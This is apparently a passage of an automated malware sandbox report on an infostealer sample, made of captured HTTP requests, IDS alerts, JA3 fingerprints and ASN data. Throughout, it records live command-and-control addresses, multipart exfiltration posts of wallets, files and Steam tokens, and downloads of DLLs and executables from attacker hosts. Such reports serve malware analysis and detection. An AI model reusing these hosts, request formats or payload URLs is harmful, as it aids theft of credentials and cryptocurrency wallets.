Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="message"wallets------DAEGIIECGHCBFHJKEHDB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKFHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"files------JEGDGIIJJECFIDHJJKKF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAAKEGDBFIJJKFHCFBHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 2d 2d 0d 0a Data Ascii: ------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="message"ybncbhylepme------HIDAAKEGDBFIJJKFHCFB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFCHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------IIEBAFCBKFIDGCAKKKFCContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------IIEBAFCBKFIDGCAKKKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIEBAFCBKFIDGCAKKKFC--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 104.21.4.136 104.21.4.136

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49735 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59745 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59746 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59747 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59750 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59744 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59749 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59748 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59752 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59755 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59751 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59754 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59753 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59757 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59759 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59761 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59760 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59763 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59764 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59765 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59762 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59767 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59766 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59769 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59776 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59773 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59792 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59786 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59789 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59790 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59788 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59787 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59791 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59794 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59758 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:59793 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49737 -> 172.105.54.160:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49736 -> 172.105.54.160:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59768 -> 172.105.54.160:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59772 -> 172.105.54.160:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ballotnwu.site
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 6105Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 115025Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ljhgfsd.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: GET /vdshfd.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
